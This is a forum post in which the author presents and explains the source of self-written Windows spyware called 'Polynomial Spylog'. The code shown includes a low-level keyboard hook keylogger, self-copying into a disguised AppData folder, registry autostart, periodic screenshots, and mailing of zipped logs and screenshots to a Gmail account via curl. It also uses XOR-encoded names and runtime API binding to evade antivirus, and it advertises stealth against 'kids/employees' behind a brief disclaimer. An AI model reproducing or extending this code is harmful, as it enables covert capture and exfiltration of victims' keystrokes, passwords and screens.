Hi All,
I have created my first ever Spyware in C/C++ (I have named it Polynomial Spylog) . I have created this as a project to learn more C/C++. My intention is not to use this for malicious purposes but just for learning purposes.
Although I already have good knowledge of both of these languages but I mostly wrote algorithms and data structures implementation programs in these languages (Basically I mostly write C/C++ codes in competitive programming).
But, I wanted to implement something that will work in real time. So I decided to create this project.
Note:-
- This Spyware will work only in Windows OS.
- All major Function names and registry names are XOR encoded to avoid AV static detection.
- To decode encoded names, use âDecryptXORâ Function provided along with 4 as a âKeyâ.
**DISCLAIMER : **
OUR TOOLS ARE FOR EDUCATIONAL PURPOSES ONLY. DONâT USE THEM FOR ILLEGAL ACTIVITIES. YOU ARE THE ONLY RESPONSABLE FOR YOUR ACTIONS! OUR TOOLS ARE OPEN SOURCE WITH NO WARRANTY AND AS ARE.
FEATURES OF POLYNOMIAL SPYLOG
. **Discrete/Tamper Proof :**By design, Advance Keylogger is undetectable and thus cannot be tampered with or removed by kids/employees .
. Keystrokes Typed: See every keystroke typed even if it is deleted. This keystroke logger feature provides a reader-friendly version of all keystrokes logged along with the raw keylogging activity so you can see every detail.
. Continuous Screenshots: will Capture desktop screen-shots after a given 7 seconds (u are free to change time interval according to requirements).
. Email Sending: Screenshot and keylogger Logfile which contain sensitive user information send to registered email (Gmail only) (Mobile/Web/System). Script to send email is also written in C++.
. AutoStart : Keylogger has functionality to auto execute on system bootup. It Insert entry on system start-up program when it is running.
. AutoCopy : Keylogger has functionality to auto copy in %appdata%/roaming/Microsoft/CLR (The directory will be created at the time of first time execution).
CODE EXPLAINATION (I will only explain main functions):-
- Function to automatically copy Exe file to %app% folder.
void AutoCopy() {
userlc = IO::GetOurPath(true);//Creating directory
string f_path = userlc;
string f_name = f_path;
char encrName[] = "wrglkwp*a|a"; //XOR encoded Exe name.
DecryptXOR((char*)encrName, strlen(encrName), encryption_key);
f_name += string(encrName);//file name
char my_name[260];
GetModuleFileNameA(GetModuleHandle(0), my_name, 260);//name of running process
string f_my = my_name;
CreateDirectoryA(f_path.c_str(), NULL);
CopyFileA(f_my.c_str(), f_name.c_str(), FALSE);
}
-
Function for autorun.
This is easy function do I will not explain the whole function code here. This function is just writing Exe file path to registry key to register it for auto start.
I will only explain function pointer names used in this function.
pRgOpn, pRgSet and pRgClose are registry key function pointers. All Functions are from âAdvapi32.dllâ Library.
I have used function pointers to call them directly from DLL to implement runtime function binding (again, Because of AV issues).
Function pointer for RegOpenKeyExW:-
typedef LSTATUS(__stdcall* pRgOpn)(
IN HKEY,
IN LPCWSTR,
IN DWORD,
IN REGSAM,
OUT PHKEY
);
Function pointer for RegSetValueExA:-
typedef LSTATUS(__stdcall* pRgSet)(
IN HKEY,
IN LPCSTR,
DWORD Reserved,
IN DWORD,
IN const BYTE*,
IN DWORD
);
Function pointer for RegCloseKey:-
typedef LSTATUS(__stdcall* pRgClose)(
IN HKEY
);
- Creating hook procedure to intercept Key board events.
HHOOK eHook = NULL;//The is a handle to hook variable
static bool InstallHook() {
/*
A hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes.
A function that intercepts a particular type of event is known as a hook procedure.
A hook procedure can act on each event it receives, and then modify or discard the event.
*/
Helper::WriteAppLog("Hook started... Timer started");
eHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)OurKeyboardProc, GetModuleHandle(NULL), 0);
return eHook == NULL;
/*WH_KEYBOARD :- we use Keyboard hook, LL means Low level
OurKeyboardProc = Procedure invoked by the hook system when every time user pressed the key on keyboard
we are converting this because SetWindowsHookEx accept handle to hook procedure
*/
}
Key board Hook Procedure. I have explained most of the things in code comments.
LRESULT OurKeyboardProc(int nCode, WPARAM wparam, LPARAM lparam) {//This function will be called everytime a key is pressed on keyboard
Helper::WriteAppLog(" In Keyboard Proc Func");
if (nCode < 0) {
CallNextHookEx(eHook, nCode, wparam, lparam);
}
KBDLLHOOKSTRUCT* kbs = (KBDLLHOOKSTRUCT*)lparam;//KBDLLHOOKSTRUCT have to see on internet
if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN) {//This is just pressing the key and holding it..not pressing the key and releasing the key
keylog += Keys::KEYS[kbs->vkCode].Name;
if (kbs->vkCode == VK_RETURN) {
keylog += '\n';
}
}
else if (wparam == WM_KEYUP || wparam == WM_SYSKEYUP) {//This is for that keys are released after pressing
//we are only interested in releasing of special keys like shift
//we want to store like [shift(pressed)][a][b][/shift(released)]
// so we will know what letters was pressed while key shift was pressed
DWORD key = kbs->vkCode;
if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL || key == VK_SHIFT
|| key == VK_LSHIFT || key == VK_RSHIFT || key == VK_MENU || key == VK_LMENU
|| key == VK_RMENU || key == VK_CAPITAL || key == VK_NUMLOCK || key == VK_LWIN || key == VK_RWIN) {
std::string KeyName = Keys::KEYS[kbs->vkCode].Name;
KeyName.insert(1, "/");//appending back slash to represent release of key
keylog += KeyName;
}
}
std::string last_file_name = IO::Writelog(keylog); //Writing Actual Key Logs to file.
//keyLogsAll += keylog;
keylog = "";
return CallNextHookEx(eHook, nCode, wparam, lparam);
}
-
Function to Send Mail after specified interval time.
This is a large Function but this is an easy Functions. I will only explain main parts from this Function .
Please let me know in comments if anyone found something not understandable in this function.
std::string txtkeyLogFile = std::string(LOG_FILE); //Getting Log file name with path.
std::string attachs = IO::GetOurPath(true) + last_file + "::" + fullPathOfImage1; // making attachment string by appending attachments paths
TCHAR txtFileNameToAttach[MAX_PATH];
_tcscpy_s(txtFileNameToAttach, CA2T(txtkeyLogFile.c_str()));
//ZipAdd Function accepts TCHAR parameter, so converting Log file path string to TCHAR and copying attachments string to TCHAR variable.
ZipAdd(hz, txtFileNameToAttach, txtFileNameToAttach); //Adding Log File in Zip File.
//Adding all images from imgFileNames vector to Zip File
for (long I = 0; I < imgFileNames.size(); i++) {
TCHAR imgFileToAttach[MAX_PATH];
_tcscpy_s(imgFileToAttach, CA2T(imgFileNames[i].c_str()));
ZipAdd(hz, imgFileToAttach, imgFileToAttach);
}
//API Function to send mail with attachments using CURL (will explain this function later) .
curlSendMail::sendFinalmail(_TO, _FROM, username, _PASSWORD, zipfileWithPath, std::string(ZIP_FILE));
if (dwFileSize >= 1000000) { //clear the file if file size become greater than 1 MB
ofstream myfile;
myfile.open(last_file);
if (myfile.is_open()) {
myfile << ""; //Emptying the file
oldSize = 0;
myfile.close();
}
}
-
Function to Capture screen shots.
All the functionality of Screenshot capturing is written in âScreenshots.hâ file.
Function is little large so I am not explaining it here. However, it is using Windows API GDI and DC to create Bitmaps of screen pixels and save them in app folder. -
Function to send mail with attachment
There are Couple of functions I have written for this purpose. However, I will explain only main function here.
namespace curlSendMail {
int sendFinalmail(std::string _ToEMail, std::string _FromEMail, std::string& _loginUserName, std::string& _loginPassword,
std::string& _FileNameWithPath, const std::string& _fileNameWithoutPath = "attachement.zip")
{
TO = std::move(_ToEMail);
FROM = std::move(_FromEMail);
FILENAME = std::move(_FileNameWithPath);
char currDir[MAX_PATH_SZ];
GetCurrentDirectoryA(MAX_PATH_SZ, currDir);
std::string FULL_FILENAME = FILENAME;
std::string fullFilePath = std::string(currDir) + "\\" + _fileNameWithoutPath;
CopyFileA(FULL_FILENAME.c_str(), fullFilePath.c_str(), FALSE);
CURL* curl;
CURLcode res = CURLE_OK;
struct curl_slist* recipients = NULL;
struct fileBuf_upload_status file_upload_ctx;
size_t file_size(0);
file_upload_ctx.lines_read = 0;
curl = curl_easy_init();
file_size = read_file();
if (curl)
{
curl_easy_setopt(curl, CURLOPT_USERNAME, _loginUserName.c_str()); //setting Gmail username
curl_easy_setopt(curl, CURLOPT_PASSWORD, _loginPassword.c_str()); //settings Gmail password
curl_easy_setopt(curl, CURLOPT_URL, "smtp://smtp.gmail.com:587"); //Gmail's smtp address
curl_easy_setopt(curl, CURLOPT_USE_SSL, (long)CURLUSESSL_ALL);
//curl_easy_setopt(curl, CURLOPT_CAINFO, "google.pem");
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM.c_str()); //Sender email address
recipients = curl_slist_append(recipients, TO.c_str());
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients); //Recipient Email address
curl_easy_setopt(curl, CURLOPT_INFILESIZE, file_size);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, fileBuf_source);
curl_easy_setopt(curl, CURLOPT_READDATA, &file_upload_ctx);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); //flag to indicate attachment
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); //Donât display Curl Connection data Change 1L to 0
res = curl_easy_perform(curl);
if (res != CURLE_OK)
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
curl_slist_free_all(recipients);
curl_easy_cleanup(curl);
}
delete[] fileBuf;
//std::cin.get();
return (int)res;
}
}
Thats it. However, There are couple of other functions also that I have not mentioned here. I have implemented multithreading so that both screenshot capturing and key log saving tasks can be executed parallelly.
Please note that this is my first technical writeup so apologies for any mistakes. Please do mention in âreplyâ any improvements and suggestions. I will take care of them in my future writeups.
Further, Please point out any mistakes or suggestions or any improvements in this project. I will rectify them.
Please feel free to contribute to this project. I have mentioned GitHub link of this project (my GitHub account is with my real name LOL).
Please donât use this tool for malicious activities. I am not responsible for any of the activities performed by anyone using this tool.
And Always Love C and C++
Polynomial